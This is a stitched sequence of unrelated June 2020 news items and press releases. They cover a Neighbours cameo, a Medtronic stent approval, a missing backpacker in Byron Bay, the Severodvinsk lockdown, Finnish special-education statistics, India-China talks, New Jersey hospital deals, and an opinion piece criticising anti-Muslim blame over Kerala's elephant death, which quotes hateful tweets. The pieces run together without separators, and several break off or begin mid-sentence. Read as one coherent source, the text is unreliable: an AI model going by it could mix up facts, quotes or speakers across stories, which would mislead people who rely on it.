Bringing fabulous to Ramsay street! Russell's cameo on Neighbours comes after Courtney Act's appearance this week to celebrate Pride Month

Her role caused confusion for Paul Robinson (played by Stefan Dennis) who didn't realise that Shane and Courtney were the same person.

'It is kind of fun because that scenario does happen in real life,' Shane told the Herald Sun.

Neighbours airs weeknights at 6.30pm on 10 Peach
MONTREAL, June 05, 2020 (GLOBE NEWSWIRE) -- GobiMin Inc. (TSX-V: GMN) held its Annual General Meeting on June 5, 2020. All matters placed before the shareholders were approved. The current members of the board, comprised of Messrs. Felipe Tan, Joyce Ko, Duncan Hancock, Hubert Marleau, Dominic Cheng, Maxime Lemieux and Ma Jianqing were re-elected as directors of the Company.



For further information, please contact:

Felipe Tan, Chief Executive Officer

Tel: (852) 3586-6500

Email: felipe.tan@gobimin.com

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.
Lisa Hayez has issued a video saying her cousin and missing Belgian backpacker Theo was not alone before he vanished from Byron Bay more than a year ago.

She said in a Facebook video on Friday that google data had tracked the 19-year-old walking through bushland on the night of his disappearance from the northern New South Wales coastal town on May 31, 2019.

'After we were able to access his google data, we realised that the night he disappeared, he walked a very unusual path through thick bushland that is impossible to imagine that he walked alone,' she said.

'Which leads us to believe someone must have been with him.'

Lisa Hayez has issued a video saying her cousin and missing Belgian backpacker Theo was not alone before he vanished from Byron Bay more than a year ago

She said in a Facebook video on Friday that google data had tracked the 19-year-old (pictured, Theo Hayez) walking through bushland on the night of his disappearance from the northern New South Wales coastal town on May 31, 2019

The leading theory in Hayez's disappearance is that he fell while trying to climb cliffs near Tallows Beach and his body washed away.

He was last seen leaving the Cheeky Monkey bar and staff at Wake Up! Hostel - the hostel Hayez had been staying at - notified authorities of his disappearance when they found his belongings, including his passport, left untouched several days later.

Police began a land, sea and air search with search efforts continued well into 2020.

A cap believed to belong to Hayez was discovered in bushland off Tallows Beach and police conducted DNA tests on hair found in the hat.

Although the testing was inconclusive, Hayez's family are certain it belongs to the missing backpacker.

The hat was found by a member of the public in the same area where the last 'ping' from Theo's phone was recorded on June 1 around the Cape Byron Lighthouse.

Lisa says she believes someone who was in Byron Bay around the time of the mysterious disappearance might have crucial information.

'Because Byron is such a transit town, travellers come and go every day,' she said in the video.

Theo Hayez with his girlfriend Severine Marcotty. Theo vanished on May 31 last year after leaving Cheeky Monkey's in Byron Bay, northern New South Wales

Data from Theo's phone has traced this route as his last known movements before he vanished on the night of May 31 2019

'Someone might have been with him or seen him and might not have even known he had gone missing.'

Her comments come just days following her heartbreaking tribute to her cousin on the the one year memorial of his disappearance.

'We all miss you so much. You're the kind of person who brings so much happiness to everyone who meets you,' Lisa said.

'You cannot imagine how much I miss your laugh... every time I saw you I couldn't stop laughing because you were naturally making me so happy.

A photo of Hayez was projected across the town's famous lighthouse while the tribute was live streamed online.

Theo Hayez was last seen leaving the Cheeky Monkey Bar on May 31 in Byron Bay, northern New South Wales

Search efforts for the 19-year-old have continued into 2020, with police conducting DNA tests on hair found in what is believed to be Theo's grey cap, which was discovered in bushland off Tallows Beach

The lighthouse was also lit up in orange, Theo's favourite colour.

'From the bottom of my heart, I would like to thank all those who contributed to (Sunday's) incredibly beautiful event in honour of Theo,' Hayez's mother Vinciane Delforge said in a statement on Tuesday.

'I wish I had been there with you all and I think a lot about you, the Byron Bay community, my Australian friends.

'Your continuous support means a lot to us.

'It helps us endure this very difficult time and the pain of not knowing what happened to Theo.'
DUBLIN, June 05, 2020 (GLOBE NEWSWIRE) -- Medtronic plc (NYSE:MDT), the global leader in medical technology, today announced it has received CE (Conformite Europeenne) Mark for a one-month dual antiplatelet therapy (DAPT) indication for high bleeding risk (HBR) patients implanted with the Resolute Onyx Drug-Eluting Stent (DES). For HBR patients, whose bleeding risk may be increased by taking longer DAPT regimens (a combination of aspirin and anti-clotting medication), this new, first-of-its-kind indication allows physicians to recommend a shorter, one-month regimen of DAPT, following a percutaneous coronary intervention (PCI) with Resolute Onyx. The approval is the first of its kind globally. Resolute Onyx DES is available for use in the United States, as well as in Europe and other countries that recognize the CE Mark. Resolute Onyx DES is not currently indicated for HBR patients with one-month DAPT in the United States. Data have been submitted to the FDA with the intent of obtaining a one-month DAPT US Indication for Resolute Onyx DES.

HBR patients - including older patients, those with history of bleeding, or those on oral blood-thinning drugs - are a complex patient population that makes up nearly 40 percent of all PCI patients1. HBR patients on longer DAPT regimens are three times more likely to have bleeding events than the general population undergoing PCI2. Due to its biocompatible polymer and the ability to promote fast vessel healing, the Resolute Onyx DES has demonstrated through pre-clinical and clinical studies that it is well-suited for patients who may benefit from a shorter DAPT duration.3,4

"The use of DAPT for DES is a challenge for HBR patients who may not be able to safely tolerate the same therapy duration as recommended for the broader patient population," said Azeem Latib, M.D., section head of interventional cardiology & medical director of structural heart interventions at Montefiore Medical Center in New York City. "Through the Onyx ONE Global Clinical Program, we have observed that Resolute Onyx DES with one-month of DAPT in these complex patients is safe and effective. This indication will further substantiate the option for shorter DAPT regimens, if individual patient needs demand it."

The indication is based on results from the Onyx ONE Global Study, the first prospective, randomized, one-month DAPT trial comparing Resolute Onyx to a competitive DES (BioFreedom DCS) in nearly 2,000 HBR patients. In the study, Resolute Onyx met its primary composite endpoint of cardiac death, myocardial infarction (MI) or stent thrombosis (ST) at one-year showing non-inferiority versus BioFreedom DCS. Results from the global study were shared during a Late-Breaking Clinical Trial session at the 31st Transcatheter Cardiovascular Therapeutics (TCT) Conference in September 2019 and were also published in the New England Journal of Medicine3.

"The growing body of clinical evidence supports the use of Resolute Onyx to meet the needs of complex patient populations," said Dave Moeller, vice president and general manager of the Coronary and Renal Denervation business, which is part of the Cardiac and Vascular Group at Medtronic. "Resolute Onyx has shown exceptional outcomes in complex patient populations and anatomies, including those at a high risk of bleeding, which has helped pave the way for this first-of-its-kind approval."

The Onyx ONE Global Study, together with the Onyx ONE Clear Study, a study that evaluated Resolute Onyx DES in HBR patients with one-month DAPT in the United States and Japan, make up the robust Medtronic Onyx ONE Month DAPT Program that has enrolled approximately 2,700 patients at up to 130 sites worldwide. To date, more than 22,000 patients have been studied in Medtronic sponsored and funded clinical trials that have addressed DAPT duration.

In collaboration with leading clinicians, researchers, and scientists worldwide, Medtronic offers the broadest range of innovative medical technology for the interventional and surgical treatment of cardiovascular disease and cardiac arrhythmias. The company strives to offer products and services that deliver clinical and economic value to healthcare consumers and providers around the world.

About Medtronic

Medtronic plc ( www.medtronic.com (http://www.medtronic.com/) ), headquartered in Dublin, Ireland, is among the world's largest medical technology, services and solutions companies - alleviating pain, restoring health and extending life for millions of people around the world. Medtronic employs more than 90,000 people worldwide, serving physicians, hospitals and patients in more than 150 countries. The company is focused on collaborating with stakeholders around the world to take healthcare Further, Together.

Any forward-looking statements are subject to risks and uncertainties such as those described in Medtronic's periodic reports on file with the Securities and Exchange Commission. Actual results may differ materially from anticipated results.

BioFreedom is a trademark or registered trademark of Biosensors International Group, Ltd.

-end-







1 Windecker S. Stent Selection for 1-3 Month DAPT: Current Evidence Ongoing Studies. Presented at TCT 2018; San Diego, CA.

2 Costa F, et al. Lancet. 2017;389:1025-1034.

3 Roleder T, Kedhi E, Berta B, et al. Short-term stent coverage of second-generation zotarolimus-eluting durable polymer stents: Onyx one-month optical coherence tomography study. Adv Interv Cardiol. 2019;15(2):143-150.

4 Windecker S, Latib A, Kedhi E, et al. Polymer-based or Polymer-free Stents in Patients at High Bleeding Risk. N Engl J Med. 2020; 382:1208-1218.doi: 10.1056/NEJMoa1910021.





Allison Kyriagis

Public Relations

+1-612-750-6061

Ryan Weispfenning

Investor Relations

+1-763-505-4626
iStock/aapsky(NEW YORK) -- BY: MEREDITH DELISO



Airlines are adding flights to their summer schedules as the number of people flying continues to steadily increase -- the first signs that demand for air travel is beginning to recover after reaching historic lows amid the COVID-19 pandemic.



American Airlines announced Thursday that it is increasing domestic flights in July after seeing the number of average passengers per day jump from around 32,000 in April to 110,000 during the last week of May.



"April was a disaster for aviation as air travel almost entirely stopped," International Air Transport Association Director General and CEO Alexandre de Juniac said. "But April may also represent the nadir of the crisis."



An American Airlines spokesperson told ABC News that the airline's current demand estimates for July exceed the estimates that they previously had at the "bottom of the curve."



Airline shares were up considerably on Thursday following American's announcement.



Delta CEO Ed Bastian on Wednesday said Delta is planning to fly twice as many domestic flights in July than it did in May.



United Airlines has said it is planning to resume a quarter of its flights in July.



This comes as Transportation Security Administration (TSA) checkpoint travel numbers continue to slowly increase. Sunday marked the first time more than 350,000 people passed through U.S. airports since late March. However, compared with this time last year passenger volumes are still down 88% and airlines are expecting a long and sluggish road to recovery.



An American spokesperson said even if demand comes back this summer in a "meaningful way," the company is still expecting it to be "significantly lower than before the pandemic."



It took three years for passenger volumes to recover after 9/11 and over seven years to recover from the 2008 financial crisis, according to Airlines for America (A4A), an industry trade organization representing the major U.S. airlines.



"History has shown that air transport demand has never experienced a V-shaped recovery from a downturn," A4A said.



Carriers have implemented a wide range of policies aimed at reassuring travelers that flying is safe including mandatory masks, plexiglass barriers, touchless kiosks, high-tech aircraft cleaning and social distance friendly seating arrangements.



While Department of Transportation Secretary Elaine Chao said in a Politico interview Wednesday I believe it is safe to travel," the Centers for Disease Control and Prevention still warns that "travel increases your chances of getting and spreading COVID-19."



Despite positive signs for the airline industry, all major U.S. airlines have announced that they are preparing for potential layoffs in the fall after they are no longer tied to the conditions set forth by Congress to receive federal assistance.



ABC News' Sam Sweeney and Amanda Maile contributed to this report.

Copyright  2020, ABC Audio. All rights reserved.
Though the debit cards loaded with unemployment benefits can be used at other bank A.T.M.s, KeyBank allows withdrawals of as much as $1,500 at a time. Other banks have far lower transaction limits and some impose fees.

As a result, people who need cash to pay large bills, like housing costs, are willing to travel far and endure the long line.

KeyBank officials said they would step up efforts, including stationing employees outside the branch, to let people know that they can withdraw money at other banks. But state officials criticized the bank for not doing more sooner.

As Ms. Zaxanz waited, she prayed the A.T.M. would not run out of money, as it had when she tried to use it last week. It also ran out on Wednesday afternoon, which led to furious people punching nearby windows.

Not far behind Ms. Zaxanz was Anthony Brown, 69, who lost his custodian job in March and said he did not know where else he could use the card because he did not own a computer to search online.

I come here to get the most out, Mr. Brown said.

He filed for unemployment over the phone in early April but did not receive the card until last week. Mr. Brown later discovered that his application had been incomplete.

So far this year, more than 2.5 million unemployment claims have been filed in the state. Roughly half have been from people who lost jobs in New York City, where some of its largest industries  the service sector in particular  have been especially hard hit. About 500,000 people in the state receive their benefits on a KeyBank card.
House of Representatives members on Thursday June 4, rejected castration as punishment for people convicted of rape.



Hon James Faleke made the suggestion during a debate on the motion of increased sexual violence against women particularly the rape and murder of two girls in Oyo and Edo states recently.



The lawmakers who identified weak institutions, poor enforcement, poverty and unacceptable social practices as part of the reasons for sexual violence against women, rejected Faleke's suggestion when Speaker of the house, Femi Gbajabiamila subjected it to a voice vote.



Gbajabiamila also asked what would happen to an older female who rapes a younger male. This generated noise in the chamber.



Debating the motion brought forward, the lawmakers condemned the increasing cases of rape in the country which they described as the most common form of violence against women.



They said in addition to the rape cases, Nigerian women also suffer harassment and brutality in the hands of security agencies.



Although the lawmakers voted against castration of rapists as an amendment to the motion, they called for stiffer penalties against persons found guilty o

Source: lindaikejisblog









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A Russian Arctic shipyard city known for nuclear submarine production, Severodvinsk, will be sealed off on Friday to contain a coronavirus outbreak there as the country's confirmed cases neared 450,000.

The governor of the Arkhangelsk region where Severodvinsk is located has signed a decree shutting access to the city of more than 180,000 people from midnight Friday, with no fixed end date.

Police were already manning checkpoints at entry roads on Friday, the Region 29 local news agency reported.

Severodvinsk is considered a hotspot with more than 1,000 confirmed cases, according to the regional health watchdog.

It has already made wearing gloves and masks compulsory.

On Thursday, 57 new cases were reported in the city, including 30 among workers at the shipyards.

Nearly half of Severodvinsk's working-age population is employed in production and repairs of ships and submarines at huge enterprises including Sevmash and Zvezdochka, both part of a state conglomerate.

Under the USSR, Severodvinsk was a closed city requiring special passes to enter due to its involvement in nuclear submarine construction.

"Just like 29 years ago, Severodvinsk has become closed again," reported Region 29.

Under the new rules, however, residents will still be able to leave to get medical treatment and even to visit second homes, known as dachas.

The shipyards are not closing but authorities have recommended they stop bringing in workers from outside the city.

Though "it wasn't easy to take this decision, it really is needed", acting regional governor Alexander Tsybulsky said Thursday.

"You need to stick it out for a week or 10 days so that we don't see the infection rate grow further," he told residents.

The Arkhangelsk region as a whole has 2,712 confirmed cases according to the regional virus task force.

Russia has also seen high numbers of virus cases in eastern Siberia and President Vladimir Putin on Thursday ordered troops to build a field hospital in the Zabaikalye region, which has 1,321 confirmed cases.

Russia has the third-highest number of confirmed cases in the world at 449,834 and 5,528 people have died from the virus.

Explore further Follow the latest news on the coronavirus (COVID-19) outbreak

 2020 AFP
Published: 5 June 2020

One in five comprehensive school pupils received intensified or special support

Intensified or special support was received by 20.1 per cent of comprehensive school pupils in autumn 2019. Intensified support was received by 65,200, or 11.6 per cent of comprehensive school pupils and special support by 48,200, or 8.5 per cent of comprehensive school pupils. The share of pupils in intensified support grew from the previous year by 0.9 percentage points and in special support by 0.4 percentage points. These data derive from Statistics Finlands education statistics.

Share of comprehensive school pupils having received intensified or special support among all comprehensive school pupils 19952019, % 1)

1) Pupils accepted or transferred to special education before 2011 have been regarded as equal to pupils having received special support.

Among the recipients of intensified support, 66 per cent were boys and 37 per cent girls. Among the recipients of special support, 71 per cent were boys and 29 per cent girls. In autumn 2019, a total of 564,100 comprehensive school pupils were in pre-primary, basic and post-basic education of the comprehensive school, 51 per cent of whom were boys and 49 per cent girls.

The three levels of the support system for learning and schooling are general, intensified and special support. Of these, a pupil can receive only one level of support at a time. The statistics on special education in comprehensive schools contain data primarily on intensified and special support. In addition, the statistics include information on part-time special education arranged as general support.

The database tables connected to the statistics on special education and the database tables related to statistics on pre-primary and comprehensive education allow examination of support received by pupils by area and place of implementation of teaching, for example. Data on special education in vocational education are collected at the end of the text section of this release and in Appendix table 10.

Fewer students than before in a special education group

Among the recipients of special support, 6.9 per cent received all education in special education groups in special schools in autumn 2019. The share of those receiving all education in a special education group in a special school has fallen yearly; its share was 6.4 percentage points lower in 2019 than in 2011. The share of those receiving all education in other than a special education group in a special school has remained in 2019 on level with the previous year, at 27 per cent.

Among the recipients of special support, 34 per cent received all education in a special education group and 23 per cent received all education in a general education group in 2019. The remaining 44 per cent received part of the education in a general education group and part in a special education group.

Comprehensive school pupils having received special support by place of provision of teaching, 20112019, %

Place of provision of teaching 2011 2012 2013 2014 2015 2016 2017 2018 2019 Teaching fully in a general education group 21,1 19,4 18,7 19,1 18,9 19,7 20,7 21,3 22,5 51-99% of teaching in a general education group 18,0 18,9 18,7 18,3 19,4 19,1 18,4 20,2 20,5 21-50% of teaching in a general education group 8,7 9,2 9,0 10,4 9,4 10,2 10,3 9,8 9,8 1-20% of teaching in a general education group 10,7 11,7 11,6 12,1 12,5 13,1 13,2 13,3 13,4 Teaching fully in a special group, other than special school 28,2 28,1 29,2 27,8 28,7 28,3 27,9 26,9 26,9 Teaching fully in a special group, special school 13,3 12,6 12,8 12,2 11,0 9,6 9,5 8,6 6,9 Total 100,0 100,0 100,0 100,0 100,0 100,0 100,0 100,0 100,0

Of the pupils receiving special support, 21.5 per cent had extended duration of compulsory education. The shares of extended compulsory education have decreased in recent years; the share was 27.5 per cent in 2013, in 2016 it was 25.6 per cent, and 22.8 per cent in 2018.

More and more had general education syllabus in all subjects

Fifty-seven per cent of the pupils having received special support in basic and post-basic education of the comprehensive school studied general education syllabuses in all subjects in autumn 2019. The share of those studying according to the general syllabus has grown yearly; the share was 44 per cent in 2011, it was 49 per cent in 2015 and 55 per cent in 2018.

Eleven per cent of the pupils having received special support in 2019 had individualised syllabuses for one subject, 12 per cent for two to three subjects, and 16 per cent for four or more subjects. Four per cent of the pupils receiving special support studied according to functional skill areas. The teaching can be arranged according to functional skill areas if it cannot be arranged by subject syllabuses due to the pupil's severe disability or illness.

Differences in support forms

Seventy-three per cent of the pupils who received intensified support in autumn 2019 received part-time special education, 54 per cent remedial teaching, and 38 per cent special needs assistance and/or interpretation services. Forty-one per cent of the pupils who received special support received part-time special education, 36 per cent received remedial teaching, and 59 per cent special needs assistance and/or interpretation services.

Twenty-two per cent of comprehensive school pupils received part-time special education

In the school year 2018 to 2019, altogether 124,700 comprehensive school pupils received part-time special education, which was 22 per cent of comprehensive school pupils in autumn 2018. The share was 0.2 percentage points higher than in the previous school year.

Share of comprehensive school pupils having received part-time special education among all comprehensive school pupils in academic years 2002/2003 to 2018/2019, %

In autumn 2018, part-time special education was included in intensified support for 44,100 pupils and in special support for 18,500 pupils. By subtracting, we can conclude that around 62,100, or 50 per cent, of the 124,700 pupils having received part-time special education in the school year 2018 to 2019 received part-time special education as general support.

At least 30 per cent of comprehensive school pupils received some support for learning

According to the available statistics, at least 29.8 per cent of comprehensive school pupils in autumn 2018 received some kind of support in the school year 2018 to 2019. The share was 0.6 percentage points cent higher than in the previous year and 1.2 percentage points cent higher than two years earlier.

A total of 167,242 students received intensified support, special support or part-time special education as general support in the school year 2018 to 2019. In addition to part-time special education, general support could also be given in some other form, but these other general support forms are not included in Statistics Finlands statistics on special education.

Bigger share than before receive support in all regions

In 2019, intensified support was arranged for more pupils than in the year before in all regions. The development has been similar in all Mainland Finland regions since 2011, when the three-step support system was introduced. The share of pupils having received intensified support was highest Aland and lowest in Kainuu. The share of pupils having received intensified support in all pupils was 10 to 14 per cent in different regions.

The share of pupils having received special support in all comprehensive school pupils varied between 4 and 13 per cent by region. The share of pupils having received special support in Mainland Finland regions was lowest in Central and North Ostrobothnia and highest in Kymenlaakso. In Aland, the share of pupils receiving special support was four per cent.

Of the Mainland Finland regions, the combined share of those receiving intensified support was biggest in Kymenlaakso, where 26 per cent of comprehensive school pupils received intensified or special support. The combined share of those receiving support was lowest in North Ostrobothnia, 16 per cent.

Number of special education students in vocational education 23,500

After the amendment to the legislation concerning vocational education, the data from 2018 onwards are no longer comparable with data for earlier years due to break in time series. Further information in the Quality description (in Finnish only).

During 2018, a total of 23,500 students in vocational education leading to a qualification received special education. The share of special education students in vocational education leading to a qualification was 10.2 per cent.

In 2018, the number of vocational education students in curriculum-based vocational education provided by educational institutions was 172,300, of which 13 per cent received special teaching. Fourteen per cent of male students and 12 per cent of female students were special education students. In all, 55 per cent of special education students were men.

The majority of special education students (84%) in curriculum-based vocational education provided by educational institutions were studying in vocational education institutions. Fourteen per cent of special education students attended special vocational education institutions and two per cent other educational institutions providing vocational education.

Eighty-three per cent of special education students in vocational education were studying in the same group (integrated) with other students.

Source: Education. Statistics Finland

Inquiries: Heli Hiltunen 029 551 3314, koulutustilastot@stat.fi

Director in charge: Jari Tarkoma

Publication in pdf-format (287.8 kB)

Updated 05.06.2020

Referencing instructions: Official Statistics of Finland (OSF): Special education [e-publication].

ISSN=1799-1617. 2019. Helsinki: Statistics Finland [referred: 21.1.2022].

Access method: http://www.stat.fi/til/erop/2019/erop_2019_2020-06-05_tie_001_en.html
A day ahead of crucial talks between Indian and Chinese army commanders on the stand-off along the Line of Actual Control (LAC), the two sides agreed on Friday to handle their differences through peaceful dialogue while respecting each others concerns.

Joint secretary (East Asia) Naveen Srivastava of the external affairs ministry held a meeting with Wu Jianghao, director general in Chinas foreign ministry, through video conference and reviewed bilateral relations, including the current developments, according to a readout from the Indian side.

This was the first formal diplomatic meeting between the two sides since tensions flared along the LAC following violent clashes between hundreds of Indian and Chinese troops in the Sikkim and Ladakh sectors early last month. Army officers of the two sides have held several meetings along the LAC but were unable to break the impasse.

Both sides agreed that in accordance with the guidance provided by their leadership, they should handle their differences through peaceful discussion bearing in mind the importance of respecting each others sensitivities, concerns and aspirations and not allow them to become disputes, the external affairs ministry said in a brief statement without giving details.

The two sides recalled the consensus reached by the leaders of the two countries, that peaceful, stable and balanced relations between India and China will be a positive factor for stability in the current global situation.

The officials of the two sides also exchanged views on the challenge posed by the Covid-19 pandemic and cooperation at different multilateral forums.

India and China have been in touch through diplomatic and military channels in New Delhi and Beijing to address the border tensions. Joint secretary Srivastava has been involved in these contacts, people familiar with developments said on condition of anonymity.

The people also acknowledged Fridays meeting was meant to set the stage for the meeting on June 6 between the general officer commanding of Leh-based 14 Corps, Lt Gen Harinder Singh, and his Chinese counterpart.

The army commanders are meeting almost a month after tensions between India and China flared along the LAC, taking bilateral ties to a new low.

India has dismissed Chinas contention that its troops were hindering the activities of Chinese troops along the LAC and accused Chinese forces of hindering patrols on the Indian side. The Indian government has also made it clear that it wont allow any change in the status quo along the LAC and that it will tackle the prevailing situation with strength and restraint.

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She also did not comment on demands for the use of alternatives to arrest, particularly related to non-violent protest-related charges. The groups want cops generally to have to get a supervisors sign-off before arresting anyone on charges of obstructing, assaulting or resisting an officer, disorderly conduct or a host of other offenses. The activists have called for the city to rely less on arrests and more on directing people to social programs, such as mental health services.
In a 2018 podcast interview with his friend (and Momofuku owner) Dave Chang, CarePoint Health lead owner Vivek Garipalli talked about his original foray into the hospital business, back in 2007 when he put together enough investment money to buy the bankrupt Bayonne Medical Center.

As he tells it, it was almost on a lark that he even tried to buy the non-profit hospital and he wound up acquiring it only because he was the sole bidder.

When he took possession as a for-profit venture on Feb. 1, 2008, he said, he had $1 million in the bank, a $250 million payroll coming due the following Friday and a growing stack of bills on his desk.

Being naive, I was able to look at it like a really basic math equation, he told Chang.

He figured, he said, that hed need to raise the prices for those who could pay  i.e., the 20 percent of patients who had good health insurance  in order to offset the losses incurred by the 80 percent of patients who couldnt pay.

In the process, everyone, he said, was mad at him, from the powerful insurers to political players statewide. Everyone, he said, with one exception: the community.

The local community had the hospital that they could go to, he said. The services existed.

And that, we hope, will emerge as the guiding principle in what has become a tug-of-war for Bayonne Medical Center and a convoluted series of offers and leases for all three CarePoint hospitals  BMC, Christ Hospital in Jersey City and Hoboken University Medical Center  and the land they sit on.

The back-and-forth wheeling and dealing that the public has been only somewhat privy to smacks more of investment strategy and greed than of concern for the sick people who need hospital services; for the thousands of employees who need their jobs; or for the community at large that depends on the hospitals for both their services and their contributions to the local economy.

Elected officials have jumped in on the side of the public, with the county going so far as to threaten to take over the properties through the use of eminent domain if need be, but, still, the community waits and worries.

Since winning the BMC, Garipalli  the son of a cardiologist and an anesthesiologist  has become quite rich. He bought fashion mogul Tory Burchs old Hamptons place for a cool $11 million, reports said. And in addition to leading CarePoint, hes head of Clover Health, the seven-state insurance company he founded that as recently as December was valued at $1 billion.

He and the other owners of CarePoint have also been embroiled in controversy, especially after a State Commission of Investigation report questioned a labyrinth of limited liability companies that divert millions of dollars of hospital revenue away from true operating costs.

It was clear in the interview with Chang that Garipallis true interest lies in venture capitalism, not the healthcare end of the healthcare industry, although a CarePoint court filing yesterday appropriately noted: The hospitals offer and provide critical health care services and must continue to operate to deliver acute health care services to patients.

Then theres the owner of much of the land the hospitals sit on, Avery Eisenreich, who also owns the Alaris Health chain of nursing homes and who elected officials have said was holding up various deals in the works. In November, Eisenreich paid $58 million for the Bayonne property and $50 million for the land in Hoboken. Just this week, the owners of Hudson Regional Hospital in Secaucus announced they had reached a deal to buy the properties for a total of $220 million, more than doubling his investment in some seven months. Sweet. For Eisenreich.

HRH, also a for-profit entity, has said it wants to buy all three of the hospitals in order to create a premier hospital network in Hudson County. Previously, RWJBarnabas, the non-profit entity that owns Jersey City Medical Center and its Bayonne satellite emergency room, had said it was in talks to buy Christ Hospital and HUMC. And a surgi-center group has said it has a deal with CarePoint to buy Bayonne Medical Center, but HRH says as the de-facto landlord it has approval rights over the tenant and theres zero chance that deal will go through.

What sounds like a budding bidding war with little transparency for the public is disturbing, as is the fact that new court filings will undoubtedly lead to new delays.

The state Department of Health has final say over all of this and the mission to ensure adequate healthcare resources for our community.

Its high time for all the dickering to come to an end, for the vampires to stop their feeding, and for the healthcare mission of these three hospitals to be put at the top of the list for new owners.

Submit letters to the editor and guest columns for The Jersey Journal to jjletters@jjournal.com.
Hospital workers who have put the health of themselves and their families at risk cleaning dedicated coronavirus wards are pushing back on the state government's public sector wage freeze.

In April, Premier Annastacia Palaszczuk announced public servants would have pay rises frozen for 12-months affecting tens of thousands of police, teachers, nurses and firefighters.

Workers strike outside Brisbane's Princess Alexandra Hospital on Friday afternoon over the state governments planned public service wage freeze Credit:Lydia Lynch.

Ms Palaszcauk said it was a "tough issue for a lot of people" but was necessary given economic pressure on the state government.

"But that does not for one minute mean that I do not respect the work that every single one of our public servants do in all manner of fields," she said.
New York nurses and doctors, hailed as heroes for fighting the coronavirus outbreak, are denouncing racial segregation in the public health system by joining the George Floyd protests. Wearing masks, hospital scrubs and other personal protective equipment like face visors, about a hundred-something medical workers briefly walked out of Manhattan's Bellevue Hospital Thursday to demonstrate against structural racism in America. They held signs reading "Health care for all" and "Racism kills my patients," and knelt silently for eight minutes and 46 seconds -- the length of time a Minneapolis police officer pressed down on Floyd's neck before he died. "We took an oath to serve all communities, we took an oath to protect public health and right now excessive use of force and police brutality is a public health emergency," said Kamini Doobay. Doobay, an emergency doctor at Bellevue, was one of the organizers of Thursday's co-ordinated protests which involved six hospitals across New York. "As a health care professional currently fighting COVID-19, I also continue to fight the virus of racism," Billy Jean, a nurse who is black, told the crowd. The coronavirus epidemic, which killed around 21,000 New York City residents, has disproportionately affected minority communities, including African Americans. Almost 23 percent of those who have died across the United States are black, according to official figures, despite black people making up just 13.4 percent of the population. In New York, members of the black community died at twice the rate of white people. Health professionals say a lack of universal health care means underprivileged groups don't receive treatments available to the more wealthy. "We see patients of color disproportionately dying from chronic illnesses, not getting proper follow up, and of course we see the deadly violence that plagues these communities," said 28-year-old doctor Damilola Idowu. "Black men coming in with gunshot wounds, and of course the effects of police brutality on our patients, we see all that," she told AFP. On Tuesday, dozens of doctors and nurses from Mount Sinai Hospital took to the streets to applaud thousands of protesters marching up Fifth Avenue. Similar spontaneous protests have taken place outside other hospitals in New York and elsewhere in the country, including the Texas Medical Center in Houston and Howard University Hospital in Washington DC. The applause was reminiscent of the 7:00 PM clap for medical staff that has become a daily ritual for New Yorkers during the coronavirus crisis. "Thank you!" "We love you!" protesters shouted, stopping to take selfies with the doctors and nurses. "Now the protestors who are calling out these issues, that are putting their bodies on the line, risking getting arrested, risking police violence themselves, they are the heroes now," said Idowu. "So it feels appropriate for us to be backing them up and to be cheering them the same way they cheered us when we were battling COVID." Nurses and healthcare workers attend a 'Black Lives Matter' rally in front of Bellevue Hospital on June 4, 2020, in New York City Nurses and healthcare workers attend a 'Black Lives Matter' rally in front of Bellevue Hospital on June 4, 2020, in New York City Nurses and healthcare workers attend a 'Black Lives Matter' rally in front of Bellevue Hospital on June 4, 2020, in New York City
Syed Ali Mujtaba

Anti-Muslim propaganda fails to die in India. After the Tablighi Jamaat episode, now Muslims of Malappuram district of Kerala are being targeted for killing a pregnant elephant that was apparently done to death by eating pineapple laced with explosives.

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According to forest officials, the wild elephant had left the forests of the Silent Valley in Palakkad district and wandered into the nearby village in search of food and reached Mannarkkad, where it found the cracker-stuffed pineapple. When the elephant ate the pineapple, an explosion took place that badly hurt her as it suffered critical injuries. The elephant was left in searing pain and eventually died standing in a river.

The tragic and heart wrenching incident happened in Mannarkkad, in Palakkad district and not in Muslim majority Malappuram district which is about 54 kilometers from Mannarkkad.

It was a BJP leader and the Godi Media who linked the incident to the Muslim majority district of Malappuram and the whole event is now communalized on anti-Muslim lines. Thousands of Hindu zealots are using their Twitter handles to spread Islamophobia and once again the anti Tablighi Jamaat and anti-Muslim atmosphere is generated in India.

The anti-Muslim canard started when the BJP MP and former Union Minister Maneka Gandhi commented on her Twitter handle @Manekagandhibjp about this incident. She vilified the entire Muslim population of the Malappuram district, holding them responsible for the animals death.

In her Tweet, Maneka Gandhi said, Mallapuram is known for its intense criminal activity especially with regards to animals. No action has ever been taken against a single poacher or wildlife killers, so they keep doing it. I can only suggest that you call/mail and ask for action, she reported to have commented on the elephants death.

Later, Maneka Gandhi repeated the same lines while talking to news agency Asia News International (ANI). She portrayed Malappuram, a district which has Muslim majority, as Indias most violent district. It is a murder. Malappuram is famous for such incidents, and its Indias most violent district. For instance, they throw poison on roads so that 300-400 birds & dogs die at one time, she told ANI.

Maneka Gandhis comment had a political perspective. The BJPs is gleefully carrying on its head this burden of the Nehru dynasty that has no relevance to BJP politics. So her comment is meant to turn heads of BJP and RSS masters for them to recognize her hidden talents and be rewarded for the same. This lie of the former BJP MP was to bell the Muslim cat and by doing so, gain limelight.

As soon as Meneka Gandhis comment was made public, the Godi Media including Times Now, Republic TV, Zee News, India TV, Dainik Jagran, Hindustan Times, News18, First Post, and many Hindi and English news outlets lapped it up, without verifying physical location of the incident.

To add juice to the story, the Godi media started giving the demography profile of Muslim dominated Malappuram district. What it obliquely pointed out was Muslim majority Malappuram district is a thorn in Indias Hindu identity. This was not the first time Godi Media did such a place profiling. Some time back it haunted Azamgarh in Uttar Pradesh as a terror factory and a center of Jamaat Islami.

The other aspect of Godi Medias ingenuity was that like the Palghar incident where two Sadhus were killed by tribals and Sonia Gandhi was dragged into it and a ruckus was created. Similarly, the media lapped up Maneka Gandhis comment and linked it to the Muslims of Malappuram and held them responsible for the elephant killing. Like lynch mob, the anti-Muslims anti-Islam hate media factories targeted an entire community for the consolidation of Hindu votes.

A Twitter handle named Sumit for You which has more than one lakh followers said; Muslims in Kerala killing elephants. They are jealous of elephants now. Shame Malappuram, the jihadi ISIS

Another tweet read, Indian Islamists have a particular hatred for elephants, cows, and monkeys because these are symbols of Hindu faith system. The brutal murder of the pregnant elephant in Keralas Muslim majority Malappuram district is perhaps part of this same hateful mindset.

